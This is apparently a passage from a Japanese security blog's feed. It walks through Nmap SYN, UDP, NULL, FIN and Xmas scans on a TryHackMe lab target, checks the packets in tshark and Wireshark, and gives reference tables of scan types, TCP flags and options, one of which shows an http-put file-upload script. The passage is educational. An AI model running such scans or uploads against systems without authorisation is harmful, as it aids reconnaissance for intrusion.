<pre class="wp-block-code"><code>Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 13:06 JST
Initiating Parallel DNS resolution of 1 host. at 13:06
Completed Parallel DNS resolution of 1 host. at 13:06, 0.00s elapsed
Initiating SYN Stealth Scan at 13:06
Scanning target ip &#91;100 ports]
Discovered open port 80/tcp on target ip
Discovered open port 21/tcp on target ip
Discovered open port 3389/tcp on target ip
Discovered open port 135/tcp on target ip
Discovered open port 53/tcp on target ip
Completed SYN Stealth Scan at 13:06, 6.14s elapsed (100 total ports)
Nmap scan report for target ip
Host is up, received user-set (0.34s latency).
Scanned at 2025-10-26 13:06:36 JST for 7s
Not shown: 95 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON
<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-swl-deep-01-color">21/tcp   open  ftp           syn-ack ttl 124
53/tcp   open  domain        syn-ack ttl 124
80/tcp   open  http          syn-ack ttl 124
135/tcp  open  msrpc         syn-ack ttl 124
3389/tcp open  ms-wbt-server syn-ack ttl 124</mark></strong>

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.20 seconds
           Raw packets sent: 197 (8.668KB) | Rcvd: 7 (308B)</code></pre>



<p>今度は pcap でログを取ってみる。</p>



<pre class="wp-block-code"><code>$ sudo tshark -i tun0 -w /tmp/Ss_result.pcap                                 
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
211 ^C</code></pre>



<pre class="wp-block-code"><code># tshark で全体のログを確認
$ sudo tshark -r Ss_result.pcap                     
Running as user "root" and group "root". This could be dangerous.
    1 0.000000000   host ip → target ip TCP 44 63626 → 993 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    2 0.000010601   host ip → target ip TCP 44 63626 → 445 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    3 0.000011875   host ip → target ip TCP 44 63626 → 110 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    4 0.000012902   host ip → target ip TCP 44 63626 → 23 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    5 0.000013856   host ip → target ip TCP 44 63626 → 111 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    6 0.000014615   host ip → target ip TCP 44 63626 → 80 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    7 0.000015329   host ip → target ip TCP 44 63626 → 3389 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    8 0.000016047   host ip → target ip TCP 44 63626 → 113 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
    9 0.000016757   host ip → target ip TCP 44 63626 → 21 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
   10 0.000017461   host ip → target ip TCP 44 63626 → 587 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
   11 0.338039856 target ip → host ip   TCP 44 80 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   12 0.338076236   host ip → target ip TCP 40 63626 → 80 &#91;RST] Seq=1 Win=0 Len=0
   13 0.338747181 target ip → host ip   TCP 44 21 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   14 0.338809373   host ip → target ip TCP 40 63626 → 21 &#91;RST] Seq=1 Win=0 Len=0
   15 0.339557912 target ip → host ip   TCP 44 3389 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288
   16 0.339571791   host ip → target ip TCP 40 63626 → 3389 &#91;RST] Seq=1 Win=0 Len=0
(省略)</code></pre>



<p>ログを絞って確認。</p>



<pre class="wp-block-code"><code># SYN 以外のログで絞ってみる
$ sudo tshark -r sS_result.pcap -Y "not (tcp.flags.syn==1 &amp;&amp; tcp.flags.ack==0)"
Running as user "root" and group "root". This could be dangerous.
   11 0.338039856 target ip8 → host ip   TCP 44 80 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   12 0.338076236   host ip → target ip8 TCP 40 63626 → 80 &#91;RST] Seq=1 Win=0 Len=0
   13 0.338747181 target ip8 → host ip   TCP 44 21 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   14 0.338809373   host ip → target ip8 TCP 40 63626 → 21 &#91;RST] Seq=1 Win=0 Len=0
   15 0.339557912 target ip8 → host ip   TCP 44 3389 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288
   16 0.339571791   host ip → target ip8 TCP 40 63626 → 3389 &#91;RST] Seq=1 Win=0 Len=0
   23 0.677269837 target ip8 → host ip   TCP 44 135 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   24 0.677332313   host ip → target ip8 TCP 40 63626 → 135 &#91;RST] Seq=1 Win=0 Len=0
   55 3.165016037 target ip8 → host ip   TCP 44 53 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   56 3.165076706   host ip → target ip8 TCP 40 63626 → 53 &#91;RST] Seq=1 Win=0 Len=0
   57 3.165703655 target ip8 → host ip   TCP 44 80 → 63631 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   58 3.165753573   host ip → target ip8 TCP 40 63631 → 80 &#91;RST] Seq=1 Win=0 Len=0
  173 4.863356730 target ip8 → host ip   TCP 44 80 → 63633 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
  174 4.863426175   host ip → target ip8 TCP 40 63633 → 80 &#91;RST] Seq=1 Win=0 Len=0

# SYN/ACK（open）で絞ってみる
$ sudo tshark -r sS_result.pcap -Y "tcp.flags.syn==1 &amp;&amp; tcp.flags.ack==1"
Running as user "root" and group "root". This could be dangerous.
   11 0.338039856 target ip8 → host ip   TCP 44 80 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   13 0.338747181 target ip8 → host ip   TCP 44 21 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   15 0.339557912 target ip8 → host ip   TCP 44 3389 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=1288
   23 0.677269837 target ip8 → host ip   TCP 44 135 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   55 3.165016037 target ip8 → host ip   TCP 44 53 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   57 3.165703655 target ip8 → host ip   TCP 44 80 → 63631 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
  173 4.863356730 target ip8 → host ip   TCP 44 80 → 63633 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288

# openポートの確認
$ sudo tshark -r sS_result.pcap -Y "tcp.flags.syn==1 &amp;&amp; tcp.flags.ack==1" -T fields -e tcp.srcport | sort -n -u
Running as user "root" and group "root". This could be dangerous.
21
53
80
135
3389</code></pre>



<p>SYN/ACK を返しているポートが open になっているので、nmap の結果と tshark のログは一致している。</p>



<p>ハーフオープンスキャン（SYN→SYN/ACK→RST）を本当にしているか確認してみる。</p>



<pre class="wp-block-code"><code>$ sudo tshark -r sS_result.pcap -Y "tcp.port == 21"                            
Running as user "root" and group "root". This could be dangerous.
    9 0.000016757   host ip → target ip TCP 44 63626 → 21 &#91;SYN] Seq=0 Win=1024 Len=0 MSS=1460
   13 0.338747181 target ip → host ip   TCP 44 21 → 63626 &#91;SYN, ACK] Seq=0 Ack=1 Win=64400 Len=0 MSS=1288
   14 0.338809373   host ip → target ip TCP 40 63626 → 21 &#91;RST] Seq=1 Win=0 Len=0</code></pre>



<p>SYN/ACK に対して RST で切断しているため、ハーフオープンスキャンの挙動。</p>



<h2 class="wp-block-heading">UDPスキャン</h2>



<p>使用頻度上位 100 ポートのみ（&#8211;top-ports 100）、スキャン中の詳細を表示（-vv）、pingをスキップ（-Pn）して<br>UDPスキャン（-sU）。</p>



<pre class="wp-block-code"><code>$ sudo nmap -sU --top-ports 100 -vv -Pn target ip</code></pre>



<p>openポートを発見。</p>



<pre class="wp-block-code"><code>Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 14:03 JST
Initiating Parallel DNS resolution of 1 host. at 14:03
Completed Parallel DNS resolution of 1 host. at 14:03, 0.00s elapsed
Initiating UDP Scan at 14:03
Scanning target ip &#91;100 ports]
Discovered open port 53/udp on target ip
Completed UDP Scan at 14:03, 12.09s elapsed (100 total ports)
Nmap scan report for target ip
Host is up, received user-set (0.36s latency).
Scanned at 2025-10-26 14:03:17 JST for 11s
Not shown: 99 open|filtered udp ports (no-response)
PORT   STATE SERVICE REASON
<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-swl-deep-01-color">53/udp open  domain  udp-response ttl 124</mark></strong>

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds
           Raw packets sent: 261 (16.044KB) | Rcvd: 4 (262B)</code></pre>



<p>pcap でログを取ってみる。</p>



<pre class="wp-block-code"><code>$ sudo tshark -i tun0 -w /tmp/sU_result.pcap                                            
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
273 ^C</code></pre>



<p>今回は Wireshar でログを確認してみる。</p>



<pre class="wp-block-code"><code>$ sudo wireshark sU_result.pcap  </code></pre>



<p>ip.src == target ip で応答のあったものだけ絞る。</p>



<pre class="wp-block-code"><code>ip.src == target ip &amp;&amp; not icmp</code></pre>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="85" src="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark-1024x85.png" alt="Wireshark UDPスキャンの画像" class="wp-image-548" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark-1024x85.png 1024w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark-300x25.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark-768x64.png 768w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark-1536x128.png 1536w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark.png 1564w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>DNS のみ表示されたので、nmap の結果と一致。<br></p>



<h2 class="wp-block-heading">特殊スキャン（NULL／FIN／Xmas）</h2>



<p>検証環境でopenポートが見つからなかったので、今回はフラグだけ確認。</p>



<h3 class="wp-block-heading">NULLスキャン</h3>



<pre class="wp-block-code"><code># NULLスキャン
$ sudo nmap -sN --top-ports 100 -vv -Pn target ip

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 14:57 JST
Initiating Parallel DNS resolution of 1 host. at 14:57
Completed Parallel DNS resolution of 1 host. at 14:57, 0.00s elapsed
Initiating NULL Scan at 14:57
Scanning target ip &#91;100 ports]
Completed NULL Scan at 14:57, 21.11s elapsed (100 total ports)
Nmap scan report for target ip
Host is up, received user-set.
Scanned at 2025-10-26 14:57:12 JST for 22s
All 100 scanned ports on target ip are in ignored states.
Not shown: 100 open|filtered tcp ports (no-response)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds
           Raw packets sent: 200 (8.000KB) | Rcvd: 0 (0B)</code></pre>



<p>フラグはすべて0。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="502" height="204" src="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_NULL.png" alt="Wireshark NULLスキャンのフラグ画像" class="wp-image-550" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_NULL.png 502w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_NULL-300x122.png 300w" sizes="(max-width: 502px) 100vw, 502px" /></figure>



<h3 class="wp-block-heading">FINスキャン</h3>



<pre class="wp-block-code"><code># FINスキャン
$ sudo nmap -sF --top-ports 100 -vv -Pn target ip

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 14:52 JST
Initiating Parallel DNS resolution of 1 host. at 14:52
Completed Parallel DNS resolution of 1 host. at 14:52, 0.00s elapsed
Initiating FIN Scan at 14:52
Scanning target ip &#91;100 ports]
Completed FIN Scan at 14:52, 21.09s elapsed (100 total ports)
Nmap scan report for target ip
Host is up, received user-set.
Scanned at 2025-10-26 14:52:08 JST for 21s
All 100 scanned ports on target ip are in ignored states.
Not shown: 100 open|filtered tcp ports (no-response)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.18 seconds
           Raw packets sent: 200 (8.000KB) | Rcvd: 0 (0B)</code></pre>



<p>FIN = 1。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="510" height="193" src="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_FIN.png" alt="Wireshark FINスキャンのフラグ画像" class="wp-image-551" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_FIN.png 510w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_FIN-300x114.png 300w" sizes="(max-width: 510px) 100vw, 510px" /></figure>



<h3 class="wp-block-heading">Xmasスキャン</h3>



<pre class="wp-block-code"><code># Xmasスキャン
$ sudo nmap -sX --top-ports 100 -vv -Pn target ip

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 14:52 JST
Initiating Parallel DNS resolution of 1 host. at 14:52
Completed Parallel DNS resolution of 1 host. at 14:52, 0.01s elapsed
Initiating XMAS Scan at 14:52
Scanning target ip &#91;100 ports]
Completed XMAS Scan at 14:53, 21.09s elapsed (100 total ports)
Nmap scan report for target ip
Host is up, received user-set.
Scanned at 2025-10-26 14:52:53 JST for 21s
All 100 scanned ports on target ip are in ignored states.
Not shown: 100 open|filtered tcp ports (no-response)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.16 seconds
           Raw packets sent: 200 (8.000KB) | Rcvd: 0 (0B)</code></pre>



<p>FIN = 1、PSH = 1、URG = 1。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="558" height="206" src="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_Xmas.png" alt="Wireshark Xmasスキャンのフラグ画像" class="wp-image-552" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_Xmas.png 558w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_Xmas-300x111.png 300w" sizes="(max-width: 558px) 100vw, 558px" /></figure>



<h2 class="wp-block-heading">おまけ</h2>



<p>UDPスキャンでホストIPとターゲットIP以外に 239.255.255.250（SSDP<sup data-fn="674d942b-b510-49bd-81d1-861c1e2af7cc" class="fn"><a href="#674d942b-b510-49bd-81d1-861c1e2af7cc" id="674d942b-b510-49bd-81d1-861c1e2af7cc-link">1</a></sup>用マルチキャストアドレス）への通信を発見。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="870" height="69" src="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_SSDP.png" alt="Wireshark 239.255.255.250充ての画像" class="wp-image-554" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_SSDP.png 870w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_SSDP-300x24.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/Wireshark_SSDP-768x61.png 768w" sizes="(max-width: 870px) 100vw, 870px" /></figure>



<p>nmapはスキャン中に「このネットワーク内にUPnP<sup data-fn="01fd85ef-44fd-43bb-bb2c-5c1cd3b01ee1" class="fn"><a href="#01fd85ef-44fd-43bb-bb2c-5c1cd3b01ee1" id="01fd85ef-44fd-43bb-bb2c-5c1cd3b01ee1-link">2</a></sup>デバイスがいるか？」を自動的にチェックすることがあり、その時にこの宛先へ M-SEARCH * HTTP/1.1 パケットを送信するそう。</p>


<ol class="wp-block-footnotes"><li id="674d942b-b510-49bd-81d1-861c1e2af7cc">家庭内ネットワークなどで機器同士が自動的に見つけ合うための通信プロトコル。UPnPの一部として定義されており、主にUDPの1900番ポートを使う。 <a href="#674d942b-b510-49bd-81d1-861c1e2af7cc-link" aria-label="脚注参照1にジャンプ">↩︎</a></li><li id="01fd85ef-44fd-43bb-bb2c-5c1cd3b01ee1">Universal Plug and Play。家庭やオフィス内のネットワーク機器が自動的に見つけ合い、設定なしで通信できるようにする仕組み。 <a href="#01fd85ef-44fd-43bb-bb2c-5c1cd3b01ee1-link" aria-label="脚注参照2にジャンプ">↩︎</a></li></ol>]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/nmap-port-scan/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nmapの基礎</title>
		<link>https://cybermemo.blog/nmap-basics</link>
					<comments>https://cybermemo.blog/nmap-basics#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 26 Oct 2025 07:05:12 +0000</pubDate>
				<category><![CDATA[コマンド]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[ポートスキャン]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=526</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>Nmapとは Nmap（Network Mapper）は、ネットワーク上の機器やサービスを調べるための最もポピュラーなツール。IPアドレスの“生死確認（ホストが生きているか）”から、どのポートでどんなサービスが動いている [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">Nmapとは</h2>



<p>Nmap（Network Mapper）は、ネットワーク上の機器やサービスを調べるための最もポピュラーなツール。IPアドレスの“生死確認（ホストが生きているか）”から、どのポートでどんなサービスが動いているか、さらに一部の脆弱性の有無まで発見できる。</p>



<h2 class="wp-block-heading">スキャンの種類</h2>



<p>実際にスキャンを実行した記事はこちら。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">セキュリティエンジニアの雑多ブロ&#8230;</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://cybermemo.blog/nmap-port-scan" target="_blank" rel="noopener noreferrer">Nmapでポートスキャンをしてみる | セキュリティエンジニアの雑多ブログ</a>
						<span class="p-blogCard__excerpt">はじめに Nmapで実際にポートスキャンをしてみた。検証環境は TryHackMe の Nmap ルーム。 本記事の内容は教育目的のみに記載しています。実環境での悪用は犯罪行為です。&#8230;</span>					</div>
				</div>
			</div>
		</div>


<h3 class="wp-block-heading">TCPスキャン</h3>



<p>何をするか：TCP接続（SYN→SYN/ACK→ACK）を完了させる。<br>返ってくるもの：SYN/ACK（open）／RST（closed）／無応答（filtered）。<br>長所：確実で簡単（OS 標準の接続なので結果は信頼できる）。<br>短所：ログに残りやすく検出されやすい。<br>オプション：-sT</p>



<h3 class="wp-block-heading">SYNスキャン</h3>



<p>何をするか：SYNを送り、SYN/ACKを受けたら自分はRSTで接続を切る（3ウェイを完了させない）。<br>返ってくるもの：SYN/ACK（open）、RST（closed）、無応答（filtered）。<br>長所：早くてステルス寄り（ログに残りにくい）。多くの場合デフォルトで使われる。<br>短所：root権限が必要。IDSに検出される可能性はある。<br>オプション：-sS</p>



<h3 class="wp-block-heading">UDPスキャン</h3>



<p>何をするか：UDPパケットを送って応答（ICMP unreachable や UDP 応答）を待つ。<br>返ってくるもの：UDP応答（open|filtered判定）、ICMP Port Unreachable（closed）、無応答（open|filtered）。<br>長所：TCP以外のサービス（DNS, SNMP 等）を見つけられる。<br>短所：遅い（再送や ICMP 制限のため）、ファイアウォールやICMPレート制限で誤判定しやすい。<br>オプション：-sU</p>



<h3 class="wp-block-heading">NULLスキャン</h3>



<p>何をするか：TCPフラグをすべて 0 にしたパケットを送る（SYN/ACK/FIN/… いずれも 0）。<br>返ってくるもの（一般）：<br>Linux/UNIX系：何も返さない（open）かRSTで返す（closed）など実装差がある。<br>Windows系：通常すべてのポートで RST を返す（これだと区別つかない）。<br>長所：一部のOSでステルスに振る舞う。<br>短所：実装依存で結果が解釈しづらい。ファイアウォールで無効化されることが多い。<br>オプション：-sN</p>



<h3 class="wp-block-heading">FINスキャン</h3>



<p>何をするか：TCPの FIN フラグのみを立てたパケットを送る。<br>返ってくるもの：TCP 実装により、閉じているポートは RST を返し、開いているポートは無応答（特定OSでは）→ これで判別する。<br>長所：一部の環境で検出されにくい。<br>短所：Windows系は常に RST を返すため無意味。ファイアウォールでドロップされると判別不能。<br>オプション：-sF</p>



<h3 class="wp-block-heading">Xmasスキャン</h3>



<p>何をするか：TCPの FIN, PSH, URG フラグを同時に立てた「派手な」パケットを送る（ツリーが光るから Xmas）。<br>返ってくるもの：FIN と同様、ある実装では無応答＝open、RST＝closed。<br>長所：NULL/FIN と同じく、一部OSでステルスに有効。<br>短所：同じく実装依存で不確実。Windowsでは通用しないことが多い。<br>オプション：-sX</p>



<h3 class="wp-block-heading">ICMPスキャン</h3>



<p>何をするか：ICMP Echo Request（ping）や他のICMP型を使ってホストがオンラインかを調べる。<br>返ってくるもの：Echo Reply（Up）／無応答（Down or filtered）／ICMP unreachable（到達不可）など。<br>長所：ホストの存在確認が速く簡単。<br>短所：多くのホストやファイアウォールがICMPをブロックするため誤判定が起きやすい。ARP ping はローカルで有効。<br>オプション：-sn -PE（ICMP echo）、&#8211;disable-arp-ping 等で挙動調整</p>



<h2 class="wp-block-heading">TCPフラグ</h2>



<p>フラグ、ビット、フラグの意味を記載。<br>ビット(値)は tshark のフィルターとかで結構使う。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>ビット(値)</th><th>フラグ</th><th>意味</th></tr></thead><tbody><tr><td>0 (0x01)</td><td>FIN</td><td>コネクション終了</td></tr><tr><td>1 (0x02)</td><td>SYN</td><td>コネクション開始要求</td></tr><tr><td>2 (0x04)</td><td>RST</td><td>リセット（接続拒否/異常終了）</td></tr><tr><td>3 (0x08)</td><td>PSH</td><td>受信側にデータを即座に渡す（push）</td></tr><tr><td>4 (0x10)</td><td>ACK</td><td>応答番号を有効にする（確認応答）</td></tr><tr><td>5 (0x20)</td><td>URG</td><td>緊急ポインタ有効（ほぼ使われない）</td></tr><tr><td>6 (0x40)</td><td>ECE</td><td>ECN related（輻輳制御）</td></tr><tr><td>7 (0x80)</td><td>CWR</td><td>ECN related（輻輳制御）</td></tr></tbody></table></figure>



<p>視覚的ビット列図（よく見る組み合わせ）</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>フラグ</th><th>ビット</th><th class="has-text-align-left" data-align="left">値</th></tr></thead><tbody><tr><td>FIN</td><td>0000 0001</td><td class="has-text-align-left" data-align="left">0x01</td></tr><tr><td>SYN</td><td>0000 0010</td><td class="has-text-align-left" data-align="left">0x02</td></tr><tr><td>RST</td><td>0000 0100</td><td class="has-text-align-left" data-align="left">0x04</td></tr><tr><td>PSH</td><td>0000 1000</td><td class="has-text-align-left" data-align="left">0x08</td></tr><tr><td>ACK</td><td>0001 0000</td><td class="has-text-align-left" data-align="left">0x10</td></tr><tr><td>URG</td><td>0010 0000</td><td class="has-text-align-left" data-align="left">0x20</td></tr><tr><td>ECE</td><td>0100 0000</td><td class="has-text-align-left" data-align="left">0x40</td></tr><tr><td>CWR</td><td>1000 0000</td><td class="has-text-align-left" data-align="left">0x80</td></tr><tr><td>SYN+ACK</td><td>0001 0010</td><td class="has-text-align-left" data-align="left">0x12</td></tr><tr><td>FIN+ACK</td><td>0001 0001</td><td class="has-text-align-left" data-align="left">0x11</td></tr><tr><td>SYN only</td><td>0000 0010</td><td class="has-text-align-left" data-align="left">0x02</td></tr><tr><td>RST only </td><td>0000 0100</td><td class="has-text-align-left" data-align="left">0x04</td></tr><tr><td>Xmas scan (FIN+PSH+URG)</td><td>0000 1001 + 0000 0001 <br>+ 0010 0000 = 0010 1001</td><td class="has-text-align-left" data-align="left">0x29</td></tr><tr><td>NULL scan</td><td>0000 0000</td><td class="has-text-align-left" data-align="left">0x00</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">代表的なオプション</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>オプション</th><th>何をするか（短く）</th><th>使い方の例</th><th>備考</th></tr></thead><tbody><tr><td><code>-sS</code></td><td>SYNスキャン</td><td><code>sudo nmap -sS -p1-1000 10.0.0.5</code></td><td>速くて一般的。root権限推奨。</td></tr><tr><td><code>-sT</code></td><td>TCPスキャン</td><td><code>nmap -sT -p22,80 10.0.0.5</code></td><td>root不要だがログに残りやすい。</td></tr><tr><td><code>-sU</code></td><td>UDPスキャン</td><td><code>sudo nmap -sU --top-ports 20 10.0.0.5</code></td><td>非常に遅い。<code>--top-ports</code> 推奨。</td></tr><tr><td><code>-p</code></td><td>ポート指定（単一／範囲／複数）</td><td><code>-p80,443</code> <code>-p1-65535</code></td><td>明示的にポートを限定。</td></tr><tr><td><code>-Pn</code></td><td>ホスト発見をスキップ（ping無視）</td><td><code>sudo nmap -sS -p1-1000 -Pn 10.0.0.5</code></td><td>Pingがブロックされた環境で必須。</td></tr><tr><td><code>-sn</code></td><td>ホスト発見のみ（ポートスキャンしない）</td><td><code>sudo nmap -sn 10.0.0.0/24</code></td><td>ping sweep 用。</td></tr><tr><td><code>-sV</code></td><td>サービス／バージョン検出</td><td><code>sudo nmap -sS -sV -p80,22 10.0.0.5</code></td><td>サービス名・バージョン推定。</td></tr><tr><td><code>-O</code></td><td>OS 推定</td><td><code>sudo nmap -O 10.0.0.5</code></td><td>root権限が必要な場合あり。誤判定もある。</td></tr><tr><td><code>-A</code></td><td>総合検出（sV + O + script 等）</td><td><code>sudo nmap -A 10.0.0.5</code></td><td>強力だが騒がしい（検出されやすい）。</td></tr><tr><td><code>--script</code></td><td>NSE スクリプト実行</td><td><code>sudo nmap --script=vuln -p445 10.0.0.5</code></td><td>カテゴリ指定や複数指定が可能。</td></tr><tr><td><code>--script-args</code></td><td>スクリプトへ引数を渡す</td><td><code>--script http-put --script-args http-put.url='/dav',http-put.file=./f</code></td><td>スクリプト固有の引数。</td></tr><tr><td><code>-oN</code> / <code>-oG</code> / <code>-oX</code> / <code>-oA</code></td><td>出力保存（通常/Grep/XML/全形式）</td><td><code>-oA scan1</code></td><td><code>-oA</code> で N,G,X を一括出力。</td></tr><tr><td><code>-v</code> / <code>-vv</code></td><td>冗長（詳細）出力</td><td><code>sudo nmap -sS -p1-1000 -Pn -vv 10.0.0.5</code></td><td>進捗や reason が見やすくなる。</td></tr><tr><td><code>--reason</code></td><td>各判定の理由を表示</td><td><code>sudo nmap --reason -p80 10.0.0.5</code></td><td><code>no-response</code> / <code>syn-ack</code> 等を表示。</td></tr><tr><td><code>-T0</code> &#8230; <code>-T5</code></td><td>タイミングテンプレート（速度）</td><td><code>-T4</code>（速め）</td><td>高速ほどノイズ大・検出されやすい。</td></tr><tr><td><code>--stats-every</code></td><td>定期的な進捗表示</td><td><code>--stats-every 10s</code></td><td>長時間スキャン時に便利。</td></tr><tr><td><code>-F</code></td><td>fast（/etc/services に基づく上位ポート）</td><td><code>sudo nmap -F 10.0.0.5</code></td><td>手早くスキャンしたいとき。</td></tr><tr><td><code>--top-ports</code></td><td>使用頻度上位 N ポートのみ</td><td><code>sudo nmap --top-ports 100 10.0.0.5</code></td><td>UDPスキャン時に特に有用。</td></tr><tr><td><code>--open</code></td><td>open のポートだけ表示</td><td><code>sudo nmap -sS -p1-1000 --open 10.0.0.5</code></td><td>出力ノイズを減らす。</td></tr><tr><td><code>-sN</code> / <code>-sF</code> / <code>-sX</code></td><td>NULL / FIN / Xmas スキャン</td><td><code>sudo nmap -sN -p1-1000 10.0.0.5</code></td><td>OS依存（Windowsでは効果薄）。</td></tr><tr><td><code>-6</code></td><td>IPv6 スキャン</td><td><code>sudo nmap -6 -sS -p80 fd00::1</code></td><td>IPv6 ネットワーク用。</td></tr><tr><td><code>-oG -</code></td><td>grep しやすい stdout 出力</td><td><code>sudo nmap -oG - -p1-1000 10.0.0.5</code></td><td>パイプで <code>grep</code> に加工しやすい。</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">最後に</h2>



<p>色々まとめたけど <a href="https://nmap.org/man/ja/index.html" data-type="link" data-id="https://nmap.org/man/ja/index.html">リファレンスガイド</a> を見るのが正確で早い。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/nmap-basics/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Chrome DevTools による簡易調査メモ</title>
		<link>https://cybermemo.blog/chrome-devtools-overview</link>
					<comments>https://cybermemo.blog/chrome-devtools-overview#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sat, 18 Oct 2025 09:51:47 +0000</pubDate>
				<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[web-security]]></category>
		<category><![CDATA[ログ分析]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=497</guid>

